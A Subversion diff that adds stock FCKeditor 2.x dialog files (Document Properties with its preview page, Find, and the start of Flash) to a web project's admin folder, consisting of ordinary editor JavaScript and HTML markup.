+	ShowE( 'divMeta'		, ( tabCode == 'Meta' ) ) ;
+
+	ShowE( 'ePreview'		, ( tabCode == 'Background' || tabCode == 'Colors' ) ) ;
+}
+
+//#### Get Base elements from the document: BEGIN
+
+// The HTML element of the document.
+var oHTML = FCK.EditorDocument.getElementsByTagName('html')[0] ;
+
+// The HEAD element of the document.
+var oHead = oHTML.getElementsByTagName('head')[0] ;
+
+var oBody = FCK.EditorDocument.body ;
+
+// This object contains all META tags defined in the document.
+var oMetaTags = new Object() ;
+
+// Get all META tags defined in the document.
+var aMetas = oHead.getElementsByTagName('meta') ;
+
+// Loop throw all METAs and put it in the HashTable.
+for ( var i = 0 ; i < aMetas.length ; i++ )
+{
+	// Try to get the "name" attribute.
+	var sName = GetAttribute( aMetas[i], 'name', GetAttribute( aMetas[i], '___fcktoreplace:name', '' ) ) ;
+
+	// If no "name", try with the "http-equiv" attribute.
+	if ( sName.length == 0 )
+	{
+		if ( document.all )
+		{
+			// Get the http-equiv value from the outerHTML.
+			var oHttpEquivMatch = aMetas[i].outerHTML.match( oEditor.FCKRegexLib.MetaHttpEquiv ) ;
+			if ( oHttpEquivMatch )
+				sName = oHttpEquivMatch[1] ;
+		}
+		else
+			sName = GetAttribute( aMetas[i], 'http-equiv', '' ) ;
+	}
+
+	if ( sName.length > 0 )
+		oMetaTags[ sName.toLowerCase() ] = aMetas[i] ;
+}
+
+//#### END
+
+// Set a META tag in the document.
+function SetMetadata( name, content, isHttp )
+{
+	if ( content.length == 0 )
+	{
+		RemoveMetadata( name ) ;
+		return ;
+	}
+
+	var oMeta = oMetaTags[ name.toLowerCase() ] ;
+
+	if ( !oMeta )
+	{
+		oMeta = oHead.appendChild( FCK.EditorDocument.createElement('META') ) ;
+
+		if ( isHttp )
+			SetAttribute( oMeta, 'http-equiv', name ) ;
+		else
+		{
+			// On IE, it is not possible to set the "name" attribute of the META tag.
+			// So a temporary attribute is used and it is replaced when getting the
+			// editor's HTML/XHTML value. This is sad, I know :(
+			if ( document.all )
+				SetAttribute( oMeta, '___fcktoreplace:name', name ) ;
+			else
+				SetAttribute( oMeta, 'name', name ) ;
+		}
+
+		oMetaTags[ name.toLowerCase() ] = oMeta ;
+	}
+
+	oMeta.content = content ;
+}
+
+function RemoveMetadata( name )
+{
+	var oMeta = oMetaTags[ name.toLowerCase() ] ;
+
+	if ( oMeta && oMeta != null )
+	{
+		oMeta.parentNode.removeChild( oMeta ) ;
+		oMetaTags[ name.toLowerCase() ] = null ;
+	}
+}
+
+function GetMetadata( name )
+{
+	var oMeta = oMetaTags[ name.toLowerCase() ] ;
+
+	if ( oMeta && oMeta != null )
+		return oMeta.content ;
+	else
+		return '' ;
+}
+
+window.onload = function ()
+{
+	// Show/Hide the "Browse Server" button.
+	GetE('tdBrowse').style.display = oEditor.FCKConfig.ImageBrowser ? "" : "none";
+
+	// First of all, translate the dialog box texts
+	oEditor.FCKLanguageManager.TranslatePage( document ) ;
+
+	FillFields() ;
+
+	UpdatePreview() ;
+
+	// Show the "Ok" button.
+	window.parent.SetOkButton( true ) ;
+
+	window.parent.SetAutoSize( true ) ;
+}
+
+function FillFields()
+{
+	// ### General Info
+	GetE('txtPageTitle').value = FCK.EditorDocument.title ;
+
+	GetE('selDirection').value	= GetAttribute( oHTML, 'dir', '' ) ;
+	GetE('txtLang').value		= GetAttribute( oHTML, 'xml:lang', GetAttribute( oHTML, 'lang', '' ) ) ;	// "xml:lang" takes precedence to "lang".
+
+	// Character Set Encoding.
+//	if ( document.all )
+//		var sCharSet = FCK.EditorDocument.charset ;
+//	else
+		var sCharSet = GetMetadata( 'Content-Type' ) ;
+
+	if ( sCharSet != null && sCharSet.length > 0 )
+	{
+//		if ( !document.all )
+			sCharSet = sCharSet.match( /[^=]*$/ ) ;
+
+		GetE('selCharSet').value = sCharSet ;
+
+		if ( GetE('selCharSet').selectedIndex == -1 )
+		{
+			GetE('selCharSet').value = '...' ;
+			GetE('txtCustomCharSet').value = sCharSet ;
+
+			CheckOther( GetE('selCharSet'), 'txtCustomCharSet' ) ;
+		}
+	}
+
+	// Document Type.
+	if ( FCK.DocTypeDeclaration && FCK.DocTypeDeclaration.length > 0 )
+	{
+		GetE('selDocType').value = FCK.DocTypeDeclaration ;
+
+		if ( GetE('selDocType').selectedIndex == -1 )
+		{
+			GetE('selDocType').value = '...' ;
+			GetE('txtDocType').value = FCK.DocTypeDeclaration ;
+
+			CheckOther( GetE('selDocType'), 'txtDocType' ) ;
+		}
+	}
+
+	// Document Type.
+	GetE('chkIncXHTMLDecl').checked = ( FCK.XmlDeclaration && FCK.XmlDeclaration.length > 0 ) ;
+
+	// ### Background
+	GetE('txtBackColor').value = GetAttribute( oBody, 'bgColor'		, '' ) ;
+	GetE('txtBackImage').value = GetAttribute( oBody, 'background'	, '' ) ;
+	GetE('chkBackNoScroll').checked = ( GetAttribute( oBody, 'bgProperties', '' ).toLowerCase() == 'fixed' ) ;
+
+	// ### Colors
+	GetE('txtColorText').value		= GetAttribute( oBody, 'text'	, '' ) ;
+	GetE('txtColorLink').value		= GetAttribute( oBody, 'link'	, '' ) ;
+	GetE('txtColorVisited').value	= GetAttribute( oBody, 'vLink'	, '' ) ;
+	GetE('txtColorActive').value	= GetAttribute( oBody, 'aLink'	, '' ) ;
+
+	// ### Margins
+	GetE('txtMarginTop').value		= GetAttribute( oBody, 'topMargin'		, '' ) ;
+	GetE('txtMarginLeft').value		= GetAttribute( oBody, 'leftMargin'		, '' ) ;
+	GetE('txtMarginRight').value	= GetAttribute( oBody, 'rightMargin'	, '' ) ;
+	GetE('txtMarginBottom').value	= GetAttribute( oBody, 'bottomMargin'	, '' ) ;
+
+	// ### Meta Data
+	GetE('txtMetaKeywords').value		= GetMetadata( 'keywords' ) ;
+	GetE('txtMetaDescription').value	= GetMetadata( 'description' ) ;
+	GetE('txtMetaAuthor').value			= GetMetadata( 'author' ) ;
+	GetE('txtMetaCopyright').value		= GetMetadata( 'copyright' ) ;
+}
+
+// Called when the "Ok" button is clicked.
+function Ok()
+{
+	// ### General Info
+	FCK.EditorDocument.title = GetE('txtPageTitle').value ;
+
+	var oHTML = FCK.EditorDocument.getElementsByTagName('html')[0] ;
+
+	SetAttribute( oHTML, 'dir'		, GetE('selDirection').value ) ;
+	SetAttribute( oHTML, 'lang'		, GetE('txtLang').value ) ;
+	SetAttribute( oHTML, 'xml:lang'	, GetE('txtLang').value ) ;
+
+	// Character Set Enconding.
+	var sCharSet = GetE('selCharSet').value ;
+	if ( sCharSet == '...' )
+		sCharSet = GetE('txtCustomCharSet').value ;
+
+	if ( sCharSet.length > 0 )
+			sCharSet = 'text/html; charset=' + sCharSet ;
+
+//	if ( document.all )
+//		FCK.EditorDocument.charset = sCharSet ;
+//	else
+		SetMetadata( 'Content-Type', sCharSet, true ) ;
+
+	// Document Type
+	var sDocType = GetE('selDocType').value ;
+	if ( sDocType == '...' )
+		sDocType = GetE('txtDocType').value ;
+
+	FCK.DocTypeDeclaration = sDocType ;
+
+	// XHTML Declarations.
+	if ( GetE('chkIncXHTMLDecl').checked )
+	{
+		if ( sCharSet.length == 0 )
+			sCharSet = 'utf-8' ;
+
+		FCK.XmlDeclaration = '<?xml version="1.0" encoding="' + sCharSet + '"?>' ;
+
+		SetAttribute( oHTML, 'xmlns', 'http://www.w3.org/1999/xhtml' ) ;
+	}
+	else
+	{
+		FCK.XmlDeclaration = null ;
+		oHTML.removeAttribute( 'xmlns', 0 ) ;
+	}
+
+	// ### Background
+	SetAttribute( oBody, 'bgcolor'		, GetE('txtBackColor').value ) ;
+	SetAttribute( oBody, 'background'	, GetE('txtBackImage').value ) ;
+	SetAttribute( oBody, 'bgproperties'	, GetE('chkBackNoScroll').checked ? 'fixed' : '' ) ;
+
+	// ### Colors
+	SetAttribute( oBody, 'text'	, GetE('txtColorText').value ) ;
+	SetAttribute( oBody, 'link'	, GetE('txtColorLink').value ) ;
+	SetAttribute( oBody, 'vlink', GetE('txtColorVisited').value ) ;
+	SetAttribute( oBody, 'alink', GetE('txtColorActive').value ) ;
+
+	// ### Margins
+	SetAttribute( oBody, 'topmargin'	, GetE('txtMarginTop').value ) ;
+	SetAttribute( oBody, 'leftmargin'	, GetE('txtMarginLeft').value ) ;
+	SetAttribute( oBody, 'rightmargin'	, GetE('txtMarginRight').value ) ;
+	SetAttribute( oBody, 'bottommargin'	, GetE('txtMarginBottom').value ) ;
+
+	// ### Meta data
+	SetMetadata( 'keywords'		, GetE('txtMetaKeywords').value ) ;
+	SetMetadata( 'description'	, GetE('txtMetaDescription').value ) ;
+	SetMetadata( 'author'		, GetE('txtMetaAuthor').value ) ;
+	SetMetadata( 'copyright'	, GetE('txtMetaCopyright').value ) ;
+
+	return true ;
+}
+
+var bPreviewIsLoaded = false ;
+var oPreviewWindow ;
+var oPreviewBody ;
+
+// Called by the Preview page when loaded.
+function OnPreviewLoad( previewWindow, previewBody )
+{
+	oPreviewWindow	= previewWindow ;
+	oPreviewBody	= previewBody ;
+
+	bPreviewIsLoaded = true ;
+	UpdatePreview() ;
+}
+
+function UpdatePreview()
+{
+	if ( !bPreviewIsLoaded )
+		return ;
+
+	// ### Background
+	SetAttribute( oPreviewBody, 'bgcolor'		, GetE('txtBackColor').value ) ;
+	SetAttribute( oPreviewBody, 'background'	, GetE('txtBackImage').value ) ;
+	SetAttribute( oPreviewBody, 'bgproperties'	, GetE('chkBackNoScroll').checked ? 'fixed' : '' ) ;
+
+	// ### Colors
+	SetAttribute( oPreviewBody, 'text', GetE('txtColorText').value ) ;
+
+	oPreviewWindow.SetLinkColor( GetE('txtColorLink').value ) ;
+	oPreviewWindow.SetVisitedColor( GetE('txtColorVisited').value ) ;
+	oPreviewWindow.SetActiveColor( GetE('txtColorActive').value ) ;
+}
+
+function CheckOther( combo, txtField )
+{
+	var bNotOther = ( combo.value != '...' ) ;
+
+	GetE(txtField).style.backgroundColor = ( bNotOther ? '#cccccc' : '' ) ;
+	GetE(txtField).disabled = bNotOther ;
+}
+
+function SetColor( inputId, color ) 
+{
+	GetE( inputId ).value = color + '' ; 
+	UpdatePreview() ;
+}
+
+function SelectBackColor( color )		{ SetColor('txtBackColor', color ) ; }
+function SelectColorText( color )		{ SetColor('txtColorText', color ) ; }
+function SelectColorLink( color )		{ SetColor('txtColorLink', color ) ; }
+function SelectColorVisited( color )	{ SetColor('txtColorVisited', color ) ; }
+function SelectColorActive( color )		{ SetColor('txtColorActive', color ) ; }
+
+function SelectColor( wich )
+{
+	switch ( wich )
+	{
+		case 'Back'			: oEditor.FCKDialog.OpenDialog( 'FCKDialog_Color', FCKLang.DlgColorTitle, 'dialog/fck_colorselector.html', 400, 330, SelectBackColor, window ) ; return ;
+		case 'ColorText'	: oEditor.FCKDialog.OpenDialog( 'FCKDialog_Color', FCKLang.DlgColorTitle, 'dialog/fck_colorselector.html', 400, 330, SelectColorText, window ) ; return ;
+		case 'ColorLink'	: oEditor.FCKDialog.OpenDialog( 'FCKDialog_Color', FCKLang.DlgColorTitle, 'dialog/fck_colorselector.html', 400, 330, SelectColorLink, window ) ; return ;
+		case 'ColorVisited'	: oEditor.FCKDialog.OpenDialog( 'FCKDialog_Color', FCKLang.DlgColorTitle, 'dialog/fck_colorselector.html', 400, 330, SelectColorVisited, window ) ; return ;
+		case 'ColorActive'	: oEditor.FCKDialog.OpenDialog( 'FCKDialog_Color', FCKLang.DlgColorTitle, 'dialog/fck_colorselector.html', 400, 330, SelectColorActive, window ) ; return ;
+	}
+}
+
+function BrowseServerBack()
+{
+	OpenFileBrowser( FCKConfig.ImageBrowserURL, FCKConfig.ImageBrowserWindowWidth, FCKConfig.ImageBrowserWindowHeight ) ;
+}
+
+function SetUrl( url )
+{
+	GetE('txtBackImage').value = url ;
+	UpdatePreview() ;
+}
+
+	</script>
+</head>
+<body style="overflow: hidden">
+	<table cellspacing="0" cellpadding="0" width="100%" border="0" style="height: 100%">
+		<tr>
+			<td valign="top" style="height: 100%">
+				<div id="divGeneral">
+					<span fcklang="DlgDocPageTitle">Page Title</span><br />
+					<input id="txtPageTitle" style="width: 100%" type="text" />
+					<br />
+					<table cellspacing="0" cellpadding="0" border="0">
+						<tr>
+							<td>
+								<span fcklang="DlgDocLangDir">Language Direction</span><br />
+								<select id="selDirection">
+									<option value="" selected="selected"></option>
+									<option value="ltr" fcklang="DlgDocLangDirLTR">Left to Right (LTR)</option>
+									<option value="rtl" fcklang="DlgDocLangDirRTL">Right to Left (RTL)</option>
+								</select>
+							</td>
+							<td>
+								&nbsp;&nbsp;&nbsp;</td>
+							<td>
+								<span fcklang="DlgDocLangCode">Language Code</span><br />
+								<input id="txtLang" type="text" />
+							</td>
+						</tr>
+					</table>
+					<br />
+					<table cellspacing="0" cellpadding="0" width="100%" border="0">
+						<tr>
+							<td style="white-space: nowrap">
+								<span fcklang="DlgDocCharSet">Character Set Encoding</span><br />
+								<select id="selCharSet" onchange="CheckOther( this, 'txtCustomCharSet' );">
+									<option value="" selected="selected"></option>
+									<option value="us-ascii">ASCII</option>
+									<option fcklang="DlgDocCharSetCE" value="iso-8859-2">Central European</option>
+									<option fcklang="DlgDocCharSetCT" value="big5">Chinese Traditional (Big5)</option>
+									<option fcklang="DlgDocCharSetCR" value="iso-8859-5">Cyrillic</option>
+									<option fcklang="DlgDocCharSetGR" value="iso-8859-7">Greek</option>
+									<option fcklang="DlgDocCharSetJP" value="iso-2022-jp">Japanese</option>
+									<option fcklang="DlgDocCharSetKR" value="iso-2022-kr">Korean</option>
+									<option fcklang="DlgDocCharSetTR" value="iso-8859-9">Turkish</option>
+									<option fcklang="DlgDocCharSetUN" value="utf-8">Unicode (UTF-8)</option>
+									<option fcklang="DlgDocCharSetWE" value="iso-8859-1">Western European</option>
+									<option fcklang="DlgOpOther" value="...">&lt;Other&gt;</option>
+								</select>
+							</td>
+							<td>
+								&nbsp;&nbsp;&nbsp;</td>
+							<td width="100%">
+								<span fcklang="DlgDocCharSetOther">Other Character Set Encoding</span><br />
+								<input id="txtCustomCharSet" style="width: 100%; background-color: #cccccc" disabled="disabled"
+									type="text" />
+							</td>
+						</tr>
+						<tr>
+							<td colspan="3">
+								&nbsp;</td>
+						</tr>
+						<tr>
+							<td nowrap="nowrap">
+								<span fcklang="DlgDocDocType">Document Type Heading</span><br />
+								<select id="selDocType" name="selDocType" onchange="CheckOther( this, 'txtDocType' );">
+									<option value="" selected="selected"></option>
+									<option value='<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">'>HTML
+										4.01 Transitional</option>
+									<option value='<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">'>
+										HTML 4.01 Strict</option>
+									<option value='<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">'>
+										HTML 4.01 Frameset</option>
+									<option value='<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">'>
+										XHTML 1.0 Transitional</option>
+									<option value='<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">'>
+										XHTML 1.0 Strict</option>
+									<option value='<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">'>
+										XHTML 1.0 Frameset</option>
+									<option value='<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">'>
+										XHTML 1.1</option>
+									<option value='<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">'>HTML 3.2</option>
+									<option value='<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">'>HTML 2.0</option>
+									<option value="..." fcklang="DlgOpOther">&lt;Other&gt;</option>
+								</select>
+							</td>
+							<td>
+							</td>
+							<td width="100%">
+								<span fcklang="DlgDocDocTypeOther">Other Document Type Heading</span><br />
+								<input id="txtDocType" style="width: 100%; background-color: #cccccc" disabled="disabled"
+									type="text" />
+							</td>
+						</tr>
+					</table>
+					<br />
+					<input id="chkIncXHTMLDecl" type="checkbox" />
+					<label for="chkIncXHTMLDecl" fcklang="DlgDocIncXHTML">
+						Include XHTML Declarations</label>
+				</div>
+				<div id="divBackground" style="display: none">
+					<span fcklang="DlgDocBgColor">Background Color</span><br />
+					<input id="txtBackColor" type="text" onchange="UpdatePreview();" onkeyup="UpdatePreview();" />&nbsp;<input
+						id="btnSelBackColor" onclick="SelectColor( 'Back' )" type="button" value="Select..."
+						fcklang="DlgCellBtnSelect" /><br />
+					<br />
+					<span fcklang="DlgDocBgImage">Background Image URL</span><br />
+					<table cellspacing="0" cellpadding="0" width="100%" border="0">
+						<tr>
+							<td width="100%">
+								<input id="txtBackImage" style="width: 100%" type="text" onchange="UpdatePreview();"
+									onkeyup="UpdatePreview();" /></td>
+							<td id="tdBrowse" nowrap="nowrap">
+								&nbsp;<input id="btnBrowse" onclick="BrowseServerBack();" type="button" fcklang="DlgBtnBrowseServer"
+									value="Browse Server" /></td>
+						</tr>
+					</table>
+					<input id="chkBackNoScroll" type="checkbox" onclick="UpdatePreview();" />
+					<label for="chkBackNoScroll" fcklang="DlgDocBgNoScroll">
+						Nonscrolling Background</label>
+				</div>
+				<div id="divColors" style="display: none">
+					<table cellspacing="0" cellpadding="0" width="100%" border="0">
+						<tr>
+							<td>
+								<span fcklang="DlgDocCText">Text</span><br />
+								<input id="txtColorText" type="text" onchange="UpdatePreview();" onkeyup="UpdatePreview();" /><input
+									onclick="SelectColor( 'ColorText' )" type="button" value="Select..." fcklang="DlgCellBtnSelect" />
+								<br />
+								<span fcklang="DlgDocCLink">Link</span><br />
+								<input id="txtColorLink" type="text" onchange="UpdatePreview();" onkeyup="UpdatePreview();" /><input
+									onclick="SelectColor( 'ColorLink' )" type="button" value="Select..." fcklang="DlgCellBtnSelect" />
+								<br />
+								<span fcklang="DlgDocCVisited">Visited Link</span><br />
+								<input id="txtColorVisited" type="text" onchange="UpdatePreview();" onkeyup="UpdatePreview();" /><input
+									onclick="SelectColor( 'ColorVisited' )" type="button" value="Select..." fcklang="DlgCellBtnSelect" />
+								<br />
+								<span fcklang="DlgDocCActive">Active Link</span><br />
+								<input id="txtColorActive" type="text" onchange="UpdatePreview();" onkeyup="UpdatePreview();" /><input
+									onclick="SelectColor( 'ColorActive' )" type="button" value="Select..." fcklang="DlgCellBtnSelect" />
+							</td>
+							<td valign="middle" align="center">
+								<table cellspacing="2" cellpadding="0" border="0">
+									<tr>
+										<td>
+											<span fcklang="DlgDocMargins">Page Margins</span></td>
+									</tr>
+									<tr>
+										<td style="border: #000000 1px solid; padding: 5px">
+											<table cellpadding="0" cellspacing="0" border="0" dir="ltr">
+												<tr>
+													<td align="center" colspan="3">
+														<span fcklang="DlgDocMaTop">Top</span><br />
+														<input id="txtMarginTop" type="text" size="3" />
+													</td>
+												</tr>
+												<tr>
+													<td align="left">
+														<span fcklang="DlgDocMaLeft">Left</span><br />
+														<input id="txtMarginLeft" type="text" size="3" />
+													</td>
+													<td>
+														&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
+													<td align="right">
+														<span fcklang="DlgDocMaRight">Right</span><br />
+														<input id="txtMarginRight" type="text" size="3" />
+													</td>
+												</tr>
+												<tr>
+													<td align="center" colspan="3">
+														<span fcklang="DlgDocMaBottom">Bottom</span><br />
+														<input id="txtMarginBottom" type="text" size="3" />
+													</td>
+												</tr>
+											</table>
+										</td>
+									</tr>
+								</table>
+							</td>
+						</tr>
+					</table>
+				</div>
+				<div id="divMeta" style="display: none">
+					<span fcklang="DlgDocMeIndex">Document Indexing Keywords (comma separated)</span><br />
+					<textarea id="txtMetaKeywords" style="width: 100%" rows="2" cols="20"></textarea>
+					<br />
+					<span fcklang="DlgDocMeDescr">Document Description</span><br />
+					<textarea id="txtMetaDescription" style="width: 100%" rows="4" cols="20"></textarea>
+					<br />
+					<span fcklang="DlgDocMeAuthor">Author</span><br />
+					<input id="txtMetaAuthor" style="width: 100%" type="text" /><br />
+					<br />
+					<span fcklang="DlgDocMeCopy">Copyright</span><br />
+					<input id="txtMetaCopyright" type="text" style="width: 100%" />
+				</div>
+			</td>
+		</tr>
+		<tr id="ePreview" style="display: none">
+			<td>
+				<span fcklang="DlgDocPreview">Preview</span><br />
+				<iframe id="frmPreview" src="fck_docprops/fck_document_preview.html" width="100%"
+					height="100"></iframe>
+			</td>
+		</tr>
+	</table>
+</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_docprops/fck_document_preview.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_docprops/fck_document_preview.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_docprops/fck_document_preview.html	(revision 44)
@@ -0,0 +1,109 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_document_preview.html
+ * 	Preview shown in the "Document Properties" dialog window.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<html>
+	<head>
+		<title>Document Properties - Preview</title>
+		<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+		<meta name="robots" content="noindex, nofollow">
+		<script language="javascript">
+
+var eBase = parent.FCK.EditorDocument.getElementsByTagName( 'BASE' ) ;
+if ( eBase.length > 0 && eBase[0].href.length > 0 )
+{
+	document.write( '<base href="' + eBase[0].href + '">' ) ;
+}
+
+window.onload = function()
+{
+	if ( typeof( parent.OnPreviewLoad ) == 'function' )
+		parent.OnPreviewLoad( window, document.body ) ;
+}
+
+function SetBaseHRef( baseHref )
+{
+	var eBase = document.createElement( 'BASE' ) ;
+	eBase.href = baseHref ;
+
+	var eHead = document.getElementsByTagName( 'HEAD' )[0] ;
+	eHead.appendChild( eBase ) ;
+}
+
+function SetLinkColor( color )
+{
+	if ( color && color.length > 0 )
+		document.getElementById('eLink').style.color = color ;
+	else
+		document.getElementById('eLink').style.color = window.document.linkColor ;
+}
+
+function SetVisitedColor( color )
+{
+	if ( color && color.length > 0 )
+		document.getElementById('eVisited').style.color = color ;
+	else
+		document.getElementById('eVisited').style.color = window.document.vlinkColor ;
+}
+
+function SetActiveColor( color )
+{
+	if ( color && color.length > 0 )
+		document.getElementById('eActive').style.color = color ;
+	else
+		document.getElementById('eActive').style.color = window.document.alinkColor ;
+}
+		</script>
+	</head>
+	<body>
+		<table width="100%" height="100%" cellpadding="0" cellspacing="0" border="0">
+			<tr>
+				<td align="center" valign="middle">
+					Normal Text
+				</td>
+				<td id="eLink" align="center" valign="middle">
+					<u>Link Text</u>
+				</td>
+			</tr>
+			<tr>
+				<td id="eVisited" valign="middle" align="center">
+					<u>Visited Link</u>
+				</td>
+				<td id="eActive" valign="middle" align="center">
+					<u>Active Link</u>
+				</td>
+			</tr>
+		</table>
+		<br>
+		<br>
+		<br>
+		<br>
+		<br>
+		<br>
+		<br>
+		<br>
+		<br>
+		<br>
+		<br>
+		<br>
+		<br>
+		<br>
+		<br>
+		<br>
+	</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_find.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_find.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_find.html	(revision 44)
@@ -0,0 +1,167 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_find.html
+ * 	"Find" dialog window.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+	<title></title>
+	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+	<meta content="noindex, nofollow" name="robots" />
+	<script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+function OnLoad()
+{
+	// Whole word is available on IE only.
+	if ( oEditor.FCKBrowserInfo.IsIE )
+		document.getElementById('divWord').style.display = '' ;
+
+	// First of all, translate the dialog box texts.
+	oEditor.FCKLanguageManager.TranslatePage( document ) ;
+
+	window.parent.SetAutoSize( true ) ;
+}
+
+function btnStat(frm)
+{
+	document.getElementById('btnFind').disabled =
+		( document.getElementById('txtFind').value.length == 0 ) ;
+}
+
+function ReplaceTextNodes( parentNode, regex, replaceValue, replaceAll )
+{
+	for ( var i = 0 ; i < parentNode.childNodes.length ; i++ )
+	{
+		var oNode = parentNode.childNodes[i] ;
+		if ( oNode.nodeType == 3 )
+		{
+			var sReplaced = oNode.nodeValue.replace( regex, replaceValue ) ;
+			if ( oNode.nodeValue != sReplaced )
+			{
+				oNode.nodeValue = sReplaced ;
+				if ( ! replaceAll )
+					return true ;
+			}
+		}
+		else
+		{
+			if ( ReplaceTextNodes( oNode, regex, replaceValue ) )
+				return true ;
+		}
+	}
+	return false ;
+}
+
+function GetRegexExpr()
+{
+	if ( document.getElementById('chkWord').checked )
+		var sExpr = '\\b' + document.getElementById('txtFind').value + '\\b' ;
+	else
+		var sExpr = document.getElementById('txtFind').value ;
+
+	return sExpr ;
+}
+
+function GetCase()
+{
+	return ( document.getElementById('chkCase').checked ? '' : 'i' ) ;
+}
+
+function Ok()
+{
+	if ( document.getElementById('txtFind').value.length == 0 )
+		return ;
+
+	if ( oEditor.FCKBrowserInfo.IsIE )
+		FindIE() ;
+	else
+		FindGecko() ;
+}
+
+var oRange ;
+
+if ( oEditor.FCKBrowserInfo.IsIE )
+	oRange = oEditor.FCK.EditorDocument.body.createTextRange() ;
+
+function FindIE()
+{
+	var iFlags = 0 ;
+
+	if ( chkCase.checked )
+		iFlags = iFlags | 4 ;
+
+	if ( chkWord.checked )
+		iFlags = iFlags | 2 ;
+
+	var bFound = oRange.findText( document.getElementById('txtFind').value, 1, iFlags ) ;
+
+	if ( bFound )
+	{
+		oRange.scrollIntoView() ;
+		oRange.select() ;
+		oRange.collapse(false) ;
+		oLastRangeFound = oRange ;
+	}
+	else
+	{
+		oRange = oEditor.FCK.EditorDocument.body.createTextRange() ;
+		alert( oEditor.FCKLang.DlgFindNotFoundMsg ) ;
+	}
+}
+
+function FindGecko()
+{
+	var bCase = document.getElementById('chkCase').checked ;
+	var bWord = document.getElementById('chkWord').checked ;
+
+	// window.find( searchString, caseSensitive, backwards, wrapAround, wholeWord, searchInFrames, showDialog ) ;
+	if ( !oEditor.FCK.EditorWindow.find( document.getElementById('txtFind').value, bCase, false, false, bWord, false, false ) )
+		alert( oEditor.FCKLang.DlgFindNotFoundMsg ) ;
+}
+	</script>
+</head>
+<body onload="OnLoad()" style="overflow: hidden">
+	<table cellspacing="3" cellpadding="2" width="100%" border="0">
+		<tr>
+			<td nowrap="nowrap">
+				<label for="txtFind" fcklang="DlgReplaceFindLbl">
+					Find what:</label>&nbsp;
+			</td>
+			<td width="100%">
+				<input id="txtFind" style="width: 100%" tabindex="1" type="text" />
+			</td>
+			<td>
+				<input id="btnFind" style="padding-right: 5px; padding-left: 5px" onclick="Ok();"
+					type="button" value="Find" fcklang="DlgFindFindBtn" />
+			</td>
+		</tr>
+		<tr>
+			<td valign="bottom" colspan="3">
+				&nbsp;<input id="chkCase" tabindex="3" type="checkbox" /><label for="chkCase" fcklang="DlgReplaceCaseChk">Match
+					case</label>
+				<br />
+				<div id="divWord" style="display: none">
+					&nbsp;<input id="chkWord" tabindex="4" type="checkbox" /><label for="chkWord" fcklang="DlgReplaceWordChk">Match
+						whole word</label>
+				</div>
+			</td>
+		</tr>
+	</table>
+</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_flash.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_flash.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_flash.html	(revision 44)
@@ -0,0 +1,142 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_flash.html
+ * 	Flash Properties dialog window.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<html>
+	<head>
+		<title>Flash Properties</title>
